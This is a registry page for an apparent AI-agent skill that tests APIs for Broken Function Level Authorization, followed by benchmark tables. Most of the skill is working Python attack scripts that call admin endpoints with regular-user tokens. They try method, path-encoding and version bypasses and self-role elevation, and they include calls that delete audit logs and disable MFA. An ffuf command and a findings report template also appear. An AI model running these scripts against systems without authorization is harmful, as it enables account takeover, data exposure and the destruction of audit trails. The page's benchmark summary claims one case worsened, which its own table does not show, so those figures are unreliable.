Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.
.claude/skills/exploiting-broken-function-level-authorization/SKILL.md| Model | Eval pass | Runs |
|---|---|---|
| gemini-3.6-flash | 100% | 25 |
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-14 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-12 | ✗→✓ | ▲ Improved | — | — |
| case-06 | ✓→✓ | = Same ✓ | — | — |
| case-16 | ✓→✓ | = Same ✓ | — | — |
Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
requests librarypythonimport requests import itertools BASE_URL = "https://target-api.example.com" regular_user_headers = {"Authorization": "Bearer <regular_user_token>"} admin_headers = {"Authorization": "Bearer <admin_token>"} # Common admin endpoint patterns ADMIN_PATH_PATTERNS = [ "/api/v1/admin", "/api/v1/admin/users", "/api/v1/admin/settings", "/api/v1/admin/config", "/api/v1/admin/logs", "/api/v1/admin/dashboard", "/api/v1/admin/reports", "/api/v1/admin/billing", "/api/v1/manage", "/api/v1/management", "/api/v1/internal", "/api/v1/internal/users", "/api/v1/system", "/api/v1/system/health", "/api/v1/console", "/api/v1/users/admin", "/api/v1/roles", "/api/v1/permissions", "/api/v1/audit", "/api/v1/audit/logs", "/api/internal/", "/admin/api/", "/management/api/", "/backoffice/api/", ] # Administrative function patterns (POST/PUT/DELETE operations) ADMIN_FUNCTIONS = [ ("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role ("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role ("DELETE", "/api/v1/users/1002", None), # Delete another user ("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings ("GET", "/api/v1/users?role=admin", None), # List admin users ("POST", "/api/v1/export/users", None), # Export user data ("POST", "/api/v1/users/1002/disable", None), # Disable user account ("POST", "/api/v1/users/1002/reset-password", None), # Force password reset ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security ("DELETE", "/api/v1/audit/logs", None), # Delete audit logs ] # Phase 1: Discover accessible admin endpoints print("Phase 1: Admin Endpoint Discovery") for path in ADMIN_PATH_PATTERNS: for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]: try: resp = requests.request(method, f"{BASE_URL}{path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404, 405): print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}") except requests.exceptions.RequestException: pass
python# Define roles and their expected access levels ROLES = { "unauthenticated": {}, "regular_user": {"Authorization": "Bearer <regular_token>"}, "moderator": {"Authorization": "Bearer <moderator_token>"}, "admin": {"Authorization": "Bearer <admin_token>"}, } # Endpoints with expected minimum role requirement ROLE_MATRIX = [ # (method, endpoint, body, minimum_role) ("GET", "/api/v1/users/me", None, "regular_user"), ("GET", "/api/v1/users", None, "admin"), ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"), ("DELETE", "/api/v1/users/1002", None, "admin"), ("GET", "/api/v1/admin/settings", None, "admin"), ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"), ("GET", "/api/v1/reports/financial", None, "admin"), ("POST", "/api/v1/users/1002/ban", None, "moderator"), ("GET", "/api/v1/audit/logs", None, "admin"), ("POST", "/api/v1/export/database", None, "admin"), ("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"), ] ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"] results = [] for method, endpoint, body, min_role in ROLE_MATRIX: min_index = ROLE_HIERARCHY.index(min_role) for role_name, role_headers in ROLES.items(): role_index = ROLE_HIERARCHY.index(role_name) if role_index < min_index: # This role should NOT have access resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=role_headers, json=body, timeout=5) if resp.status_code not in (401, 403): results.append({ "endpoint": f"{method} {endpoint}", "role_used": role_name, "expected_min_role": min_role, "status_code": resp.status_code, "vulnerable": True }) print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}") print(f"\nTotal BFLA findings: {len(results)}")
python# Test if authorization is method-dependent def test_method_based_bfla(endpoint, authorized_method="GET"): """Test if authorization only applies to certain HTTP methods.""" methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"] print(f"\nTesting method-based BFLA on {endpoint}:") for method in methods: try: resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=regular_user_headers, json={"test": True} if method in ("POST","PUT","PATCH") else None, timeout=5) status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked" if status == "ACCESSIBLE": print(f" [{status}] {method} {endpoint} -> {resp.status_code}") except requests.exceptions.RequestException: pass # Admin endpoints to test test_method_based_bfla("/api/v1/admin/users") test_method_based_bfla("/api/v1/admin/settings") test_method_based_bfla("/api/v1/users/1002")
python# Test if adding admin parameters to regular requests enables admin functions privilege_escalation_tests = [ # Test 1: Add role parameter to self-update { "name": "Self role elevation via profile update", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"name": "Test User", "role": "admin"}, }, # Test 2: Add admin flag { "name": "Admin flag injection", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True}, }, # Test 3: Modify user ID in body to target other users { "name": "User ID substitution in body", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"id": 1, "user_id": 1, "role": "admin"}, }, # Test 4: Access admin function via regular endpoint with admin params { "name": "Hidden admin parameter", "method": "GET", "endpoint": "/api/v1/users?admin=true&debug=true&internal=true", "body": None, }, # Test 5: Override tenant/organization { "name": "Tenant override", "method": "GET", "endpoint": "/api/v1/users", "body": None, "extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"}, }, ] for test in privilege_escalation_tests: extra = test.get("extra_headers", {}) resp = requests.request( test["method"], f"{BASE_URL}{test['endpoint']}", headers={**regular_user_headers, **extra}, json=test["body"], timeout=5 ) if resp.status_code in (200, 201, 204): print(f"[BFLA] {test['name']}: {resp.status_code}") # Check if role actually changed if "role" in test.get("body", {}): me_resp = requests.get(f"{BASE_URL}/api/v1/users/me", headers=regular_user_headers) if me_resp.status_code == 200: current_role = me_resp.json().get("role", "unknown") print(f" Current role after exploit: {current_role}")
python# Test if older or alternative API versions lack authorization api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"] admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"] print("Testing API version bypass:") for version in api_versions: for path in admin_paths: full_path = f"/api/{version}{path}" resp = requests.get(f"{BASE_URL}{full_path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404): print(f" [BYPASS] {full_path} -> {resp.status_code}") # Test path-based bypass techniques bypass_paths = [ "/api/v1/admin/users", "/api/v1/Admin/users", # Case variation "/api/v1/ADMIN/users", "/api/v1/%61dmin/users", # URL encoding "/api/v1/./admin/users", # Path traversal "/api/v1/admin/../admin/users", # Double path "/api/v1/;/admin/users", # Semicolon insertion "/api/v1/admin/users.json", # Extension addition "/api/v1/admin/users/", # Trailing slash ] for path in bypass_paths: resp = requests.get(f"{BASE_URL}{path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404): print(f" [PATH BYPASS] {path} -> {resp.status_code}")
| Term | Definition | |------|------------| | BFLA | Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks | | Vertical Privilege Escalation | Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints | | RBAC | Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users | | Function-Level Authorization | Access control checks that verify whether the authenticated user has permission to invoke a specific API function | | Admin Endpoint | API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration | | Forced Browsing | Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions |
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach:
/admin/, /manage/, and role-check conditionalsGET /api/v1/admin/users returns 200 with all user data (BFLA - read)PUT /api/v1/admin/users/1002/role accepts role change (BFLA - write)DELETE /api/v1/audit/logs returns 200 (BFLA - destructive)GET /api/v1/admin/settings returns 403, but PUT /api/v1/admin/settings returns 200DELETE /api/v1/admin/billing/api/v2/admin/users exists without any authorization (shadow API version)Pitfalls:
## Finding: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-24 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted. The headline lift of +13 percentage points is the difference between those two pass rates over the 24 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.